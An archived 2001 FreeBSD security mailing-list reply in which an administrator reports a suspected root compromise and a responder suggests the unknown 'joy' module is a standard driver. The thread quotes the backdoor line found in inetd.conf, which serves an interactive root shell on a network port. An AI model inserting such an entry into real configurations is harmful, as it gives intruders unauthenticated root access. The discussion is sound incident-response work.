Date: Thu, 1 Nov 2001 10:27:03 -0500 (EST) From: "Andrew R. Reiter" <arr@watson.org> To: Ralph Huntington <rjh@mohawk.net> Cc: freebsd-security@FreeBSD.ORG Subject: Re: strange inetd.conf entry Message-ID: <Pine.NEB.3.96L.1011101102651.99293A-100000@fledge.watson.org> In-Reply-To: <Pine.NEB.3.96L.1011101102538.94832A-100000@fledge.watson.org>
next in thread | previous in thread | raw e-mail | index | archive | help
On Thu, 1 Nov 2001, Andrew R. Reiter wrote: :man 4 joy Though, it could be a coverup :-) : :On Thu, 1 Nov 2001, Ralph Huntington wrote: : ::I did find this kernel module, but I have no idea what it is. I presume at ::this point that the root shell acquired through inetd was for the purpose ::of loading this module. Anyone recognize it? Anyone want it for analysis? :: ::hogan@klink:/etc# ll /usr/bin/joy ::-r-xr-xr-x 1 root wheel 100 Jul 4 12:05 /usr/bin/joy :: ::hogan@klink:/etc# cat /usr/bin/joy ::#!/bin/sh ::# $FreeBSD: src/sys/modules/joy/joy.sh,v 1.5 1999/08/28 00:47:23 peter Exp $ :: ::kldload joy :: :: ::hogan@klink:/etc# ll /modules/joy.ko ::-r-xr-xr-x 1 root wheel 6755 Jul 4 12:05 /modules/joy.ko :: :: ::On Thu, 1 Nov 2001, Ralph Huntington wrote: :: ::> I have that sinking feeling. I discovered this line at the end of ::> inetd.conf on one of our servers: ::> ::> dlip stream tcp nowait root /bin/sh sh -i ::> ::> Looks like a root compromise. Sure enough, telnet'ing to the dlip port ::> provides what *looks* like a root shell, but I don't seem to be able to do ::> anything with it. Pretty mysterious. ::> ::> Can anyone offer a clue? Thanks in advance, Ralph ::> ::> ::> ::> ::> To Unsubscribe: send mail to majordomo@FreeBSD.org ::> with "unsubscribe freebsd-security" in the body of the message ::> :: :: ::To Unsubscribe: send mail to majordomo@FreeBSD.org ::with "unsubscribe freebsd-security" in the body of the message :: : :*-------------................................................. :| Andrew R. Reiter :| arr@fledge.watson.org :| "It requires a very unusual mind :| to undertake the analysis of the obvious" -- A.N. Whitehead : : :To Unsubscribe: send mail to majordomo@FreeBSD.org :with "unsubscribe freebsd-security" in the body of the message : *-------------................................................. | Andrew R. Reiter | arr@fledge.watson.org | "It requires a very unusual mind | to undertake the analysis of the obvious" -- A.N. Whitehead To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.NEB.3.96L.1011101102651.99293A-100000>